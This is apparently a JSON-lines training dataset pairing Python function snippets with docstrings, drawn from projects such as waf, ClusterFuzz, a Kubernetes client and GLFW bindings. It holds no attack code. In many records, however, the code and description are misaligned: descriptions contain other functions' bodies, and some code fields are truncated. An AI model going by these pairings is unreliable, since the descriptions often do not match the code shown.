thread._default_logger.debug(\"Starting threaded asyncio loop...\")asyncio.set_event_loop(self._loop)self._loop.run_forever()_default_logger.debug(\"Asyncio loop has been stopped.\")def call(self, coro: Awaitable) -> Any:"} {"code": "def start(self):\n return self.s_logs\n", "nl": "Mock method of container.start()return self.s_startdef logs(self, stream=None):Mock method of container.logs()"} {"code": "def scan(task):\n\ttry:\n\t\tincn = task.generator.includes_nodes\n\texcept AttributeError:\n\t\traise Errors.WafError('%r is missing a feature such as \"c\", \"cxx\" or \"includes\": ' % task.generator)\n\n\tif go_absolute:\n\t\tnodepaths = incn + [task.generator.bld.root.find_dir(x) for x in standard_includes]\n\telse:\n\t\tnodepaths = [x for x in incn if x.is_child_of(x.ctx.srcnode) or x.is_child_of(x.ctx.bldnode)]\n\n\ttmp = c_parser(nodepaths)\n\ttmp.start(task.inputs[0], task.env)\n\treturn (tmp.nodes, tmp.names)", "nl": "Get the dependencies using a c/c++ preprocessor, this is required for finding dependencies of the kind::#include some_macro()This function is bound as a task method on :py:class:`waflib.Tools.c.c` and :py:class:`waflib.Tools.cxx.cxx` for example"} {"code": "def indices(self):\n l = []\n for x in xrange(len(self.node.shape)):\n if x == self.row or x == self.col:\n continue\n l.append(x)\n return tuple(l)\n\n @property", "nl": " A tuple of integer indices appropriate for dim selection."} {"code": "def configure(conf):\n\tv = conf.env\n\tif getattr(Options.options, 'pythondir', None):\n\t\tv.PYTHONDIR = Options.options.pythondir\n\tif getattr(Options.options, 'pythonarchdir', None):\n\t\tv.PYTHONARCHDIR = Options.options.pythonarchdir\n\tif getattr(Options.options, 'nopycache', None):\n\t\tv.NOPYCACHE=Options.options.nopycache\n\n\tif not v.PYTHON:\n\t\tv.PYTHON = [getattr(Options.options, 'python', None) or sys.executable]\n\tv.PYTHON = Utils.to_list(v.PYTHON)\n\tconf.find_program('python', var='PYTHON')\n\n\tv.PYFLAGS = ''\n\tv.PYFLAGS_OPT = '-O'\n\n\tv.PYC = getattr(Options.options, 'pyc', 1)\n\tv.PYO = getattr(Options.options, 'pyo', 1)\n\n\ttry:\n\t\tv.PYTAG = conf.cmd_and_log(conf.env.PYTHON + ['-c', \"import imp;print(imp.get_tag())\"]).strip()\n\texcept Errors.WafError:\n\t\tpass\n", "nl": "Detect the python interpreter"} {"code": "def projection(b, a):\n norm_sq = a @ a\n if np.isclose(norm_sq, 1.):\n return (a.T @ b) * a\n c = (a @ b) / norm_sq\n return c * a\n\n", "nl": "Compute the projection of b onto a.The projection of b onto a is the orthogonalprojection of b onto a straight line parallel to a.The projection is parallel to a, i.e. it is the productof a constant called the scalar projection with a unitvector in the direction of a:`proj(b, a) = c * a = [(a.T b) /(a.T a)] * a`Args:b: a numpy array of shape (N, 1).a: a numpy array of shape (N, 1).Returns:proj: a numpy array of shape (N, 1)."} {"code": "def test_additional(self) -> None:\n self.do_test_function_with_targets(self.do_test_convert_ok, [\n (Foo, False, None),\n (FooNamedTuple, False, None),\n (foo_function, False, None),\n (foo_function_type_checked_call, True, TypeError),\n (foo_function_type_checked_call_skip, True, TypeError),\n (foo_function_type_checked_call_convert, True, None),\n (foo_function_type_checked_call_skip_convert, True, None),\n ])\n", "nl": "Valid JSON string with an additional field.self.do_test_function_with_targets(self.do_test_additional, [(Foo, False, None),(FooNamedTuple, False, None),(foo_function, False, None),(foo_function_type_checked_call, True, TypeError),(foo_function_type_checked_call_skip, True, None),(foo_function_type_checked_call_convert, True, TypeError),(foo_function_type_checked_call_skip_convert, True, None),])def test_convert_ok(self) -> None:Valid JSON string with an additional field."} {"code": "def repeat_biweekly(self):", "nl": "This function is unique b/c it creates an empty defaultdict,adds in the event occurrences by creating an instance of Repeater,then returns the defaultdict, likely to be merged into the 'main'defaultdict (the one holding all event occurrences for this month)."} {"code": "def __init__(self, flags):\n inotify_fd = inotify_init(flags)\n self._inotify_fd = inotify_fd\n self._paths = {}\n", "nl": "Initialize a new Inotify object."} {"code": "def create_server(self, request, tenant_id):\n try:\n content = json_from_request(request)\n except ValueError:\n return json.dumps(\n bad_request(\"Invalid JSON request body\", request))\n\n try:\n creation = (self._region_collection_for_tenant(tenant_id)\n .request_creation(request, content, self.url))\n except BadRequestError as e:\n return json.dumps(bad_request(e.nova_message, request))\n except LimitError as e:\n return json.dumps(forbidden(e.nova_message, request))\n\n return creation\n\n @app.route('/v2//servers/', methods=['GET'])", "nl": "Returns a generic create server response, with status 'ACTIVE'."} {"code": "def part_reduce_gradients(tensor_list, param_count, sync=False):\n for name,p in model.state_dict().items():\n dist.broadcast(p, 0)\n\n", "nl": " average gradients dist.all_reduce(param_count.detach())id = 0for param in tensor_list:if param.requires_grad:if param_count[id]!= 0:dist.all_reduce(param.grad.data)param.grad.div_(param_count[id])id += 1def broadcast_params(model): broadcast model parameters "} {"code": "def write_core_register(self, reg, data):\n regIndex = register_name_to_index(reg)\n if is_single_float_register(regIndex) and type(data) is float:\n data = conversion.float32_to_u32(data)\n elif is_double_float_register(regIndex) and type(data) is float:\n data = conversion.float64_to_u64(data)\n self.write_core_register_raw(regIndex, data)\n", "nl": "write a CPU register.Will need to pack floating point register values before writing."} {"code": "def add_by_id(self, annotation_id, tag, force=False, schedule_in=None):\n where = [Annotation.id == annotation_id]\n self.add_where(where, tag, Queue.Priority.SINGLE_ITEM, force, schedule_in)\n", "nl": "Queue an annotation to be synced to Elasticsearch.See Queue.add_where() for documentation of the params.:param annotation_id: The ID of the annotation to be queued, in theapplication-level URL-safe format"} {"code": "def _get_fuzzer_job_filters(self):\n date_start = _get_date(None, 7)\n date_end = _get_date(None, 1)\n\n for fuzzer, job_filter in self._get_fuzzer_job_filters():\n group_by = 'by-fuzzer'\n try:\n build_results(fuzzer, job_filter, group_by, date_start, date_end)\n except Exception as e:\n if 'No stats.' not in repr(e):\n logs.log_error('Failed to preload %s %s %s %s %s.' %\n (fuzzer, job_filter, group_by, date_start, date_end))\n\n if not job_filter:\n group_by = 'by-job'\n try:\n build_results(fuzzer, job_filter, group_by, date_start, date_end)\n except Exception as e:\n if 'No stats.' not in repr(e):\n logs.log_error('Failed to preload %s %s %s %s %s.' %\n (fuzzer, job_filter, group_by, date_start, date_end))\n\n\nclass RefreshCacheHandler(base_handler.Handler):\n \"\"\"Refresh cache.\"\"\"", "nl": "Return list of fuzzer-job filter tuples.fuzzer_job_filters = []for fuzzer_name in data_types.BUILTIN_FUZZERS:fuzzer = data_types.Fuzzer.query(data_types.Fuzzer.name == fuzzer_name).get()for job in fuzzer.jobs:fuzzer_job_filters.append((fuzzer_name, _get_filter_from_job(job)))# None job is explicitly added for fuzzer query across all jobs.fuzzer_job_filters.append((fuzzer_name, _get_filter_from_job(None)))return fuzzer_job_filters@handler.cron()def get(self):Handle a GET request."} {"code": "def update_settings(**kwds):\n\n class Meta:\n app_label = __name__\n\n @memoized_property", "nl": "helper to update django settings from kwdsfor k,v in iteritems(kwds):if v is UNSET:if hasattr(settings, k):delattr(settings, k)else:setattr(settings, k, v)if has_min_django:from django.contrib.auth.models import Userclass FakeUser(User):mock user object for use in testing"} {"code": "def get_hdf5_file_name(self):\n\n return self._client_hdf5_file_name\n", "nl": "Extracts name of HDF5 file (client side) that stores BERT model parametersReturns-------string - fully qualified name of HDF5 parameter file"} {"code": "def cat(instance_lists: List[\"Instances\"]) -> \"Instances\":\n assert all(isinstance(i, Instances) for i in instance_lists)\n assert len(instance_lists) > 0\n if len(instance_lists) == 1:\n return instance_lists[0]\n\n image_size = instance_lists[0].image_size\n for i in instance_lists[1:]:\n assert i.image_size == image_size\n ret = Instances(image_size)\n for k in instance_lists[0]._fields.keys():\n values = [i.get(k) for i in instance_lists]\n v0 = values[0]\n if isinstance(v0, torch.Tensor):\n values = cat(values, dim=0)\n elif isinstance(v0, list):\n values = list(itertools.chain(*values))\n elif hasattr(type(v0), \"cat\"):\n values = type(v0).cat(values)\n else:\n raise ValueError(\"Unsupported type {} for concatenation\".format(type(v0)))\n ret.set(k, values)\n return ret\n", "nl": "Args:instance_lists (list[Instances])Returns:Instances"} {"code": "def setLogDir(logDir):\n global _LOG_DIR\n\n assert os.path.isabs(logDir), \"Log directory path must be absolute\"\n\n _LOG_DIR = logDir\n\n\n\nclass LoggingSupport(object):\n\n @classmethod", "nl": " Set log directory:param logDir: Absolute path to application-specific logging directory."} {"code": "defaults to DEFAULT_BUFFER_SIZE.\n writing, exclusive creation or appending. The file will be created if it\n doesn't exist when opened for writing or appending; it will be truncated\n when opened for writing. A FileExistsError will be raised if it already\n exists when opened for creating. Opening a file for creating implies\n writing so this mode behaves in a similar way to 'w'. Add a '+' to the mode\n to allow simultaneous reading and writing. A custom opener can be used by\n passing a callable as *opener*. The underlying file descriptor for the file\n object is then obtained by calling opener with (*name*, *flags*).\n *opener* must return an open file descriptor (passing os.open as *opener*\n results in functionality similar to passing None).\n \"\"\"", "nl": "def __init__(self, raw, buffer_size=DEFAULT_BUFFER_SIZE):raw._checkSeekable()BufferedReader.__init__(self, raw, buffer_size)BufferedWriter.__init__(self, raw, buffer_size)def seek(self, pos, whence=0):if whence not in valid_seek_flags:raise ValueError(\"invalid whence value\")self.flush()if self._read_buf:# Undo read ahead.with self._read_lock:self.raw.seek(self._read_pos - len(self._read_buf), 1)# First do the raw seek, then empty the read buffer, so that# if the raw seek fails, we don't lose buffered data forever.pos = self.raw.seek(pos, whence)with self._read_lock:self._reset_read_buf()if pos < 0:raise OSError(\"seek() returned invalid position\")return posdef tell(self):if self._write_buf:return BufferedWriter.tell(self)else:return BufferedReader.tell(self)def truncate(self, pos=None):if pos is None:pos = self.tell()# Use seek to flush the read buffer.return BufferedWriter.truncate(self, pos)def read(self, size=None):if size is None:size = -1self.flush()return BufferedReader.read(self, size)def readinto(self, b):self.flush()return BufferedReader.readinto(self, b)def peek(self, size=0):self.flush()return BufferedReader.peek(self, size)def read1(self, size=-1):self.flush()return BufferedReader.read1(self, size)def readinto1(self, b):self.flush()return BufferedReader.readinto1(self, b)def write(self, b):if self._read_buf:# Undo readaheadwith self._read_lock:self.raw.seek(self._read_pos - len(self._read_buf), 1)self._reset_read_buf()return BufferedWriter.write(self, b)class FileIO(RawIOBase):_fd = -1_created = False_readable = False_writable = False_appending = False_seekable = None_closefd = Truedef __init__(self, file, mode='r', closefd=True, opener=None):Open a file. The mode can be 'r' (default), 'w', 'x' or 'a' for reading,"} {"code": "def ensure_text(s, encoding='utf-8', errors='strict'):\n if isinstance(s, binary_type):\n return s.decode(encoding, errors)\n elif isinstance(s, text_type):\n return s\n else:\n raise TypeError(\"not expecting type '%s'\" % type(s))\n\n", "nl": "Coerce *s* to six.text_type.For Python 2:- `unicode` -> `unicode`- `str` -> `unicode`For Python 3:- `str` -> `str`- `bytes` -> decoded to `str`"} {"code": "def _LN(self, name):\n", "nl": "Overriding with bias-less layer norm.if self.params.ln_no_scale:return self._LNNoScale(name)return self._LNInternal(name)def _LNConv(self, name, conv_kernel_size):return self._Seq(name, self._LNNoScale('ln_no_scale'),self.DepthwiseConvAutoregressive('conv', conv_kernel_size))def _LNInternal(self, name, ln_weight_reshape=None):Internal implementation of _LN with optional reshape of the weight."} {"code": "def get_sw_async_msg_config(self):\n\n Configure the switch to packet-in TTL invalid packets to controller.\n Note that this method only works in OFP 1.3, however, this os_ken app\n claims that it only supports ofproto_v1_3.OFP_VERSION. So, no check\n will be made here.\n \"\"\"", "nl": "Get the configuration of current switchofp_parser = self._datapath.ofproto_parserreq = ofp_parser.OFPGetAsyncRequest(self._datapath)self._datapath.send_msg(req)def set_sw_async_msg_config_for_ttl(self, cur_config):Configure switch for TTL"} {"code": "def __init__(self, name=None, optional=None, local_vars_configuration=None): # noqa: E501\n\n Name of the referent. More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/\n\n :return: The name of this V1ConfigMapEnvSource.\n :rtype: str\n \"\"\"", "nl": "V1ConfigMapEnvSource - a model defined in OpenAPI # noqa: E501if local_vars_configuration is None:local_vars_configuration = Configuration()self.local_vars_configuration = local_vars_configurationself._name = Noneself._optional = Noneself.discriminator = Noneif name is not None:self.name = nameif optional is not None:self.optional = optional@propertydef name(self):Gets the name of this V1ConfigMapEnvSource. # noqa: E501"} {"code": "def get_cursor_pos(window):\n xpos_value = ctypes.c_double(0.0)\n xpos = ctypes.pointer(xpos_value)\n ypos_value = ctypes.c_double(0.0)\n ypos = ctypes.pointer(ypos_value)\n _glfw.glfwGetCursorPos(window, xpos, ypos)\n return xpos_value.value, ypos_value.value\n\n_glfw.glfwSetCursorPos.restype = None\n_glfw.glfwSetCursorPos.argtypes = [ctypes.POINTER(_GLFWwindow),\n ctypes.c_double,\n ctypes.c_double]", "nl": "Retrieves the last reported cursor position, relative to the clientarea of the window.Wrapper for:void glfwGetCursorPos(GLFWwindow* window, double* xpos, double* ypos);"} {"code": "def test_multiple_endpoints_enabled_for_tenant(self):\n new_url = \"https://api.new_region.example.com:9090\"\n new_region = \"NEW_REGION\"\n new_eeapi_template_id = u\"uuid-alternate-endpoint-template\"\n new_eeapi_template = exampleEndpointTemplate(\n name=self.eeapi_name,\n endpoint_uuid=new_eeapi_template_id,\n region=new_region,\n url=new_url\n )\n self.eeapi.add_template(new_eeapi_template)\n self.eeapi.enable_endpoint_for_tenant(\n self.tenant_data.get_tenant_id(),\n new_eeapi_template_id\n )\n\n tenant_data = TenantAuthentication(\n self,\n self.root,\n self.tenant_enabled_for,\n self.tenant_enabled_for_password\n )\n externalService_endpoint = tenant_data.get_service_endpoint(\n \"externalServiceName\", new_region)\n self.assertTrue(\n externalService_endpoint.startswith(\n new_url))\n", "nl": "Validate when there are multiple endpoints enabled for a singletenant."} {"code": "def getReservations(self, request):\n pass\n", "nl": "Parameters:- request"} {"code": "def asdict(self) -> Mapping:\n", "nl": "Return table state as dictionary.return {'keys_retrieved': self.keys_retrieved,'keys_updated': self.keys_updated,'keys_deleted': self.keys_deleted,}def __reduce_keywords__(self) -> Mapping:return {**self.asdict(), 'table': self.table}class Monitor(Sensor, KeywordReduce):Default Faust Sensor."} {"code": "def test_list_2(self, mock):\n mock.get(\n tests.LIBPOD_URL + \"/images/json?filters=%7B%22dangling%22%3A+%5B%22True%22%5D%7D\",\n json=[FIRST_IMAGE],\n )\n\n images = self.client.images.list(filters={\"dangling\": True})\n self.assertEqual(\n images[0].id, \"sha256:326dd9d7add24646a325e8eaa82125294027db2332e49c5828d96312c5d773ab\"\n )\n\n @requests_mock.Mocker()", "nl": "Unit test Images list().mock.get(tests.LIBPOD_URL + \"/images/json\",json=[FIRST_IMAGE, SECOND_IMAGE],)images = self.client.images.list()self.assertEqual(len(images), 2)self.assertIsInstance(images[0], Image)self.assertIsInstance(images[1], Image)self.assertEqual(images[1].short_id, \"c4b16966ec\")self.assertIsInstance(images[1].labels, dict)self.assertEqual(len(images[1].labels), 0)self.assertIsInstance(images[1].tags, list)self.assertEqual(len(images[1].tags), 0)@requests_mock.Mocker()def test_list_filters(self, mock):Unit test filters param for Images list()."} {"code": "def _render(self, fragment, request=None):\n ctx = WovenContext()\n if request is None:\n request = FakeRequest()\n ctx.remember(request, IRequest)\n return Page(docFactory=stan(fragment)).renderString(ctx)\n\n", "nl": "Test helper which tries to render the given fragment."} {"code": "def test_globio_shape_infra(self):\n from natcap.invest import globio\n\n roads_path = os.path.join(\n SAMPLE_DATA, 'infrastructure_dir', 'roads.tif')\n base_raster = gdal.OpenEx(roads_path, gdal.OF_RASTER)\n projection_wkt = base_raster.GetProjection()\n base_geotransform = base_raster.GetGeoTransform()\n base_raster = None\n\n tmp_infra_dir = os.path.join(self.workspace_dir, \"single_infra\")\n os.mkdir(tmp_infra_dir)\n tmp_roads_path = os.path.join(tmp_infra_dir, \"roads.tif\")\n\n tmp_roads_array = numpy.array([\n [0, 0, 0, 0], [0.5, 1, 1, 13.0], [1, 0, 1, 13.0], [1, 1, 0, 0]])\n tmp_roads_nodata = 13.0\n raster_driver = gdal.GetDriverByName('GTiff')\n ny, nx = tmp_roads_array.shape\n new_raster = raster_driver.Create(\n tmp_roads_path, nx, ny, 1, gdal.GDT_Float32)\n new_raster.SetProjection(projection_wkt)\n new_raster.SetGeoTransform(\n [base_geotransform[0], 10, 0.0, base_geotransform[3], 0.0, -10])\n new_band = new_raster.GetRasterBand(1)\n new_band.SetNoDataValue(tmp_roads_nodata)\n new_band.WriteArray(tmp_roads_array)\n new_raster.FlushCache()\n new_band = None\n new_raster = None\n\n temp_dir = os.path.join(self.workspace_dir, \"tmp_dir\")\n os.mkdir(temp_dir)\n\n result_path = os.path.join(\n self.workspace_dir, 'combined_infrastructure.tif')\n\n globio._collapse_infrastructure_layers(\n tmp_infra_dir, tmp_roads_path, result_path, temp_dir)\n\n expected_result = numpy.array([\n [0, 0, 0, 0], [1, 1, 1, 255], [1, 0, 1, 255], [1, 1, 0, 0]])\n\n result_raster = gdal.OpenEx(result_path, gdal.OF_RASTER)\n result_band = result_raster.GetRasterBand(1)\n result_array = result_band.ReadAsArray()\n\n numpy.testing.assert_allclose(result_array, expected_result)\n\n result_band = None\n result_raster = None\n", "nl": "GLOBIO: regression testing with shapefile infrastructure.from natcap.invest import globioargs = {'aoi_path': '','globio_lulc_path': os.path.join(SAMPLE_DATA, 'globio_lulc_small.tif'),'infrastructure_dir': os.path.join(SAMPLE_DATA, 'shape_infrastructure'),'intensification_fraction': '0.46','msa_parameters_path': os.path.join(SAMPLE_DATA, 'msa_parameters.csv'),'predefined_globio': True,'workspace_dir': self.workspace_dir,'n_workers': '-1',}globio.execute(args)GLOBIOTests._test_same_files(os.path.join(REGRESSION_DATA, 'expected_file_list_lulc.txt'),args['workspace_dir'])model_array = pygeoprocessing.raster_to_numpy_array(os.path.join(args['workspace_dir'], 'msa.tif'))reg_array = pygeoprocessing.raster_to_numpy_array(os.path.join(REGRESSION_DATA, 'msa_shape_infra_regression.tif'))numpy.testing.assert_allclose(model_array, reg_array)def test_globio_single_infra(self):GLOBIO: regression testing with single infrastructure raster."} {"code": "def __init__(self, config):\n\n im_width = int(self.width - (2 * self.padding_left))\n im_height = int(self.height - (2 * self.padding_top))\n im_size = im_width, im_height\n\n logger.info(f'Image size: {im_size}')\n\n im = Images()\n\n im.load(self.path)\n\n im.remove_alpha()\n\n if self.autoflip == True:\n im.autoflip(self.orientation)\n\n im.resize( width=im_width, height=im_height )\n\n im_black, im_colour = im.to_palette(self.palette)\n\n im.clear()\n\n return im_black, im_colour\n\nif __name__ == '__main__':\n print(f'running {filename} in standalone/debug mode')", "nl": "Initialize modulesuper().__init__(config)config = config['config']# required parametersfor param in self.requires:if not param in config:raise Exception(f'config is missing {param}')# optional parametersself.path = config['path']self.palette = config['palette']self.autoflip = config['autoflip']self.orientation = config['orientation']# give an OK messageprint(f'{filename} loaded')def generate_image(self):Generate image for this module"} {"code": "def htmlCtxtReset(self):\n ret = libxml2mod.htmlCtxtUseOptions(self._o, options)\n return ret\n", "nl": "Reset a parser context libxml2mod.htmlCtxtReset(self._o)def htmlCtxtUseOptions(self, options):Applies the options to the parser context "} {"code": "def broadcast_pose(vector, height, width):\n vector = tf.reshape(vector, [-1, 1, 1, GQN_DEFAULT_CONFIG.POSE_CHANNELS])\n vector = tf.tile(vector, [1, height, width, 1])\n return vector\n\n", "nl": "Broadcasts a pose vector to every pixel of a target image."} {"code": "def split_into_sentences(self, text):\n\n return self.sentence_split(text, self.language)\n", "nl": "Split text into sentences, using specified language.Args:text: The string text to tokenizelanguage: Language of the textReturns:List of tokens of text"} {"code": "def copy(src, dst):\n if os.path.isdir(dst):\n dst = os.path.join(dst, os.path.basename(src))\n copyfile(src, dst)\n copymode(src, dst)\n", "nl": "Copy data and mode bits (\"cp src dst\").The destination may be a directory."} {"code": "def getTemperature(self) -> float:\n Get min/max target temperatures.\n\n Fans should be at minimum speed below min, and blow at full speed above max.\n \"\"\"\n\n DriveState = enum.Enum(\"DriveState\", (\"UNKNOWN\", \"ACTIVE_IDLE\", \"STANDBY\", \"SLEEPING\"))\n\n HDPARM_GET_TEMP_HITACHI_REGEX = re.compile(r\"drive temperature \\(celsius\\) is:\\s*([0-9]*)\")\n HDPARM_GET_TEMP_HITACHI_ERROR_REGEX = re.compile(\"^SG_IO: .* sense data\", re.MULTILINE)\n HDPARM_GET_MODEL_REGEX = re.compile(r\"Model Number:\\s*(.*)\")\n HDDTEMP_SLEEPING_SUFFIX = \": drive is sleeping\\n\"\n\n class TempProbingMethod(enum.Enum):\n\n \"\"\"Method used to query drive temperature, depending on what the drive/system support.\"\"\"", "nl": "Get device temperature as int or float.pass@abc.abstractmethoddef getTemperatureRange(self) -> Tuple[float, float]:"} {"code": "def equip(self):\n self.traits.MV.fill_gauge()\n self.traits.BM.fill_gauge()\n self.traits.WM.fill_gauge()\n self.traits.PP.reset_counter()\n\n if self.nattributes.has('combat_handler'):\n for _, item in self.equip:\n if item and hasattr(item, 'attributes') and \\\n item.attributes.has('combat_cmdset') and \\\n not self.cmdset.has_cmdset(item.db.combat_cmdset):\n self.cmdset.add(item.db.combat_cmdset)\n", "nl": "Handler for equipped items.return EquipHandler(self)def at_turn_start(self):Hook called at the start of each combat turn or by a 6s ticker."} {"code": "def getImageSizeandSpacing():\n path_list = file_name_path(kits_path)\n for subsetindex in range(len(path_list)):\n kits_subset_path = kits_path + \"/\" + str(path_list[subsetindex]) + \"/\"\n file_image = kits_subset_path + image_name\n src = sitk.ReadImage(file_image, sitk.sitkInt16)\n imageSize = src.GetSize()\n imageSpacing = src.GetSpacing()\n print(\"image size,image spcing:\", (imageSize, imageSpacing))\n\n", "nl": "get image and spacing:return:"} {"code": "def _corrfunc(x, y, **kws):\n if args.c == 'spearman':\n r, _ = stats.spearmanr(x, y)\n corr_type = 'Rho'\n elif args.c == 'pearson':\n r, _ = stats.pearsonr(x, y)\n corr_type = 'r'\n else:\n raise Exception('Invalid correlation statistic.')\n correlations.append(r)\n ax = plotter.plt.gca()\n ax.annotate(\"{} = {:.2f}\".format(corr_type, r),\n xy=(.1, .9), xycoords=ax.transAxes)\n\n\nif __name__ == '__main__':\n args = parser.parse_args()\n plotter = report.Report(args.r)\n\n if len(args.counts) == 0:\n sys.stderr.write(\"No count files given!\\n\")\n sys.exit(1)\n\n counts = load_counts(args.counts, args.L)\n joint_df = join_counts(counts)\n correlations = []\n\n g = sns.PairGrid(joint_df, palette=[\"red\"])\n g.map_upper(plotter.plt.scatter, s=10)\n g.map_diag(sns.distplot, kde=False)\n if not args.o:\n g.map_lower(sns.kdeplot, cmap=\"Blues_d\")\n g.map_lower(_corrfunc)\n g.map_upper(_corrfunc)\n plotter.plt.tight_layout()\n plotter.pages.savefig()\n\n plotter.plt.clf()\n correlations = pd.DataFrame(\n {\"Distribution of correlation coefficients\": correlations})\n sns.boxplot(data=correlations)\n plotter.plt.tight_layout()\n plotter.pages.savefig()\n\n plotter.close()", "nl": " Annotate grid with correaltion coefficient.Solution from http://stackoverflow.com/a/30942817"} {"code": "def register_finder(importer_type, distribution_finder):\n _distribution_finders[importer_type] = distribution_finder\n\n", "nl": "Register `distribution_finder` to find distributions in sys.path items`importer_type` is the type or class of a PEP 302 \"Importer\" (sys.path itemhandler), and `distribution_finder` is a callable that, passed a pathitem and the importer instance, yields ``Distribution`` instances found onthat path item. See ``pkg_resources.find_on_path`` for an example."} {"code": "def resize_token_type_embeddings(model, new_num_types: int, random_segment: bool):\n if hasattr(model, \"bert\"):\n old_token_type_embeddings = model.bert.embeddings.token_type_embeddings\n else:\n raise NotImplementedError\n new_token_type_embeddings = nn.Embedding(\n new_num_types, old_token_type_embeddings.weight.size(1)\n )\n if not random_segment:\n new_token_type_embeddings.weight.data[\n : old_token_type_embeddings.weight.size(0)\n ] = old_token_type_embeddings.weight.data\n\n model.config.type_vocab_size = new_num_types\n if hasattr(model, \"bert\"):\n model.bert.embeddings.token_type_embeddings = new_token_type_embeddings\n else:\n raise NotImplementedError\n\n\nclass BertForPromptFinetuning(BertPreTrainedModel):", "nl": "Resize the segment (token type) embeddings for BERT"} {"code": "def testNonEmptyXmlOutput(self):\n self._TestXmlOutput(GTEST_PROGRAM_NAME, EXPECTED_NON_EMPTY_XML, 1)\n", "nl": "Runs a test program that generates a non-empty XML output, andtests that the XML output is expected."} {"code": "def srcmap_init(self, name: str) -> List[str]:\n return self._srcmaps.get(name, [])\n", "nl": "Return the srcmap init of a contractArgs:name (str): name of the contractReturns:List[str]: Srcmap init (solc/vyper format)"} {"code": "def _adjustment(self):\n X = np.maximum(X, np.finfo(self.tau.dtype).eps)\n\n return X", "nl": "Adjust small values to factors to avoid numerical underflow.self.tau = np.maximum(self.tau, np.finfo(self.tau.dtype).eps)self.gamma = np.maximum(self.gamma, np.finfo(self.gamma.dtype).eps)def _adjustment_input(self,X):Adjust small values to factors to avoid numerical underflow."} {"code": "def split(self, instring, maxsplit=_MAX_INT, includeSeparators=False):\n splits = 0\n last = 0\n for t,s,e in self.scanString(instring, maxMatches=maxsplit):\n yield instring[last:s]\n if includeSeparators:\n yield t[0]\n last = e\n yield instring[last:]\n", "nl": "Generator method to split a string using the given expression as a separator.May be called with optional C{maxsplit} argument, to limit the number of splits;and the optional C{includeSeparators} argument (default=C{False}), if the separatingmatching text should be included in the split results.Example::punc = oneOf(list(\".,;:/-!?\"))print(list(punc.split(\"This, this?, this sentence, is badly punctuated!\")))prints::['This', ' this', '', ' this sentence', ' is badly punctuated', '']"} {"code": "def fit_in_level(cap, blocks, invalid_underutilized, level,memory_partitions):\n if type(cap) is list:\n\n\n for i in range(len(cap)):\n indices = [index for index,partition in enumerate(memory_partitions[level]) if partition == i]\n size = sum([blocks[j] for j in indices])\n if size == 0:\n continue\n if (size > cap[i]) == True:\n return False\n\n\n check_if_underutilized = 0\n\n if invalid_underutilized:\n\n last_layer = []\n for mem in indices:\n last_layer.append(memory_partitions[level+1][mem])\n if None not in last_layer:\n if ((size <= cap[i]) and (2*size <= cap[i])) == True:\n check_if_underutilized += 1\n\n else:\n test = 1\n else:\n test =2\n\n if check_if_underutilized == len(cap):\n return False\n\n\n return True\n\n\n\n\n else:\n total_size = sum(blocks)\n\n\n if invalid_underutilized:\n return (total_size <= cap) and (2*total_size >= cap)\n else:\n return (total_size <= cap)\n", "nl": "Check if the current level mem size >= current level loop blocking sizeinvalid_underutilized is used to exclude mapping points with too low memory utilization (< 50%)#LMEI can later put the memory utilization threshold as a user defined parameter"} {"code": "def test_generateTestScript(self):\n fname = self._outputToTempFile(\n dedent(\n '''\n\n deps = getDependencies(\n fname,\n ignore=(),\n bootstrap=(),\n packages=self._getPackages())\n\n script = generateTestScript(\n fname,\n dependencies=deps)\n\n scriptfname = self._outputToTempFile(script)\n", "nl": "Test for L{generateTestScript}"} {"code": "def wrap_servicer(func):\n global _rpc_count\n\n with _rpc_count_lock:\n if _rpc_count > 0:\n logs.log_error('Hung RPC detected, shutting down.')\n _worker_state.shutting_down.set()\n return None\n\n _rpc_count += 1\n\n try:\n result = func(self, request, context)\n except Exception:\n context.set_code(grpc.StatusCode.UNKNOWN)\n context.set_details(traceback.format_exc())\n raise\n finally:\n with _rpc_count_lock:\n assert _rpc_count > 0\n _rpc_count -= 1\n\n return result\n\n return wrapper\n\n\nclass UntrustedRunnerServicer(\n untrusted_runner_pb2_grpc.UntrustedRunnerServicer):\n \"\"\"Untrusted runner implementation.\"\"\"", "nl": "Wrap a servicer to add additional functionality.@functools.wraps(func)def wrapper(self, request, context): # pylint: disable=unused-argumentWrapper function."} {"code": "def init_editing_mode(self, e): # (C-e)\n\n self._bind_exit_key('Control-d')\n self._bind_exit_key('Control-z')\n\n self._bind_key('Shift-space', self.self_insert)\n self._bind_key('Control-space', self.self_insert)\n self._bind_key('Return', self.accept_line)\n self._bind_key('Left', self.backward_char)\n self._bind_key('Control-b', self.backward_char)\n self._bind_key('Right', self.forward_char)\n self._bind_key('Control-f', self.forward_char)\n self._bind_key('BackSpace', self.backward_delete_char)\n self._bind_key('Home', self.beginning_of_line)\n self._bind_key('End', self.end_of_line)\n self._bind_key('Delete', self.delete_char)\n self._bind_key('Control-d', self.delete_char)\n self._bind_key('Clear', self.clear_screen)\n\n", "nl": "When in vi command mode, this causes a switch to emacs editingmode."} {"code": "def _flatten_plus_safe(data_and_files):\n data, rollback_files = _normalize_args(data_and_files)\n with tx_tmpdir(data) as tmpdir:\n tx_files = [os.path.join(tmpdir, os.path.basename(f))\n for f in rollback_files]\n yield tx_files, rollback_files\n\n", "nl": "Flatten names of files and create temporary file names."} {"code": "def camera_extended_properties(self):\n resource = 'cameras/{}'.format(self.device_id)\n resource_event = self.publish_and_get_event(resource)\n\n if resource_event is None:\n return None\n\n self._camera_extended_properties = resource_event.get('properties')\n return self._camera_extended_properties\n", "nl": "Return _camera_extended_properties.if self._camera_extended_properties is None:self.get_camera_extended_properties()return self._camera_extended_propertiesdef get_camera_extended_properties(self):Return camera extended properties."} {"code": "def draw(drawing, canvas, x=0, y=0, showBoundary=rl_config.showBoundary):\n given a list of coordinates [x0, y0, x1, y1....]\n produce a list of points [(x0,y0), (y1,y0),....]\n \"\"\"", "nl": "As it says.r = _SVGRenderer()r.draw(renderScaledDrawing(drawing), canvas, x, y, showBoundary=showBoundary)### helper functions ###def _pointsFromList(L):"} {"code": "def disassemble(code, address=0x100):\n for instr in Decode(address, code, DecodeBits):\n yield Instruction(instr)\n", "nl": "Disassemble the specified byte string, where address is theaddress of the first instruction."} {"code": "def _filter_imgs(self, min_size=32):\n\n Images with aspect ratio greater than 1 will be set as group 1,\n otherwise group 0.\n \"\"\"", "nl": "Filter images too small.valid_inds = []for i, img_info in enumerate(self.img_infos):if min(img_info['width'], img_info['height']) >= min_size:valid_inds.append(i)return valid_indsdef _set_group_flag(self):Set flag according to image aspect ratio."} {"code": "def 